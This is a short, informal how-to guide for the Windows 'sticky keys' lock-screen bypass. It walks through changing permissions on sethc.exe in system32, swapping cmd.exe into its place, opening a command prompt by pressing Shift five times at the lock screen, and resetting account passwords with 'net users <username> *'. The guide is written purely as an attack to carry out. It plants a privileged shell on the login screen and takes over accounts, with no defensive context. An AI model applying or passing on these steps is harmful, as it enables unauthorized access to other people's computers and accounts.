1. Open system32 (C:\windows\system32)
2. Find sethc.exe. Right click on sethc.exe > Properties > Security > Edit > Allow all (check box)
3. now rename sethc.exe to vicky.exe and rename cmd.exe to sethc.exe
4. Press [shift] button 5 times and command prompt will open .
5. Type "net users" on cmd without quotes (")
You will see username(s). Write down the username
6. Lock your pc. press shift key 5 times
7. Now Again cmd will open
8. Type "net users <username> *" without quotes (Replace <username> with username you got in step 5)
9. Enter password and Re-enter password
10. Password successfully changed
How Does it work ?
The file sethc.exe file is used for opening sticky keys popup, when you press shift 5 times sticky keys pop up will open.
Now when you rename cmd.exe to sethc.exe and press shift 5 times ,cmd will open instead of sticky keys popup.
So on the lock screen, when you press shift 5 times you will be able to open cmd even on the lock screen .
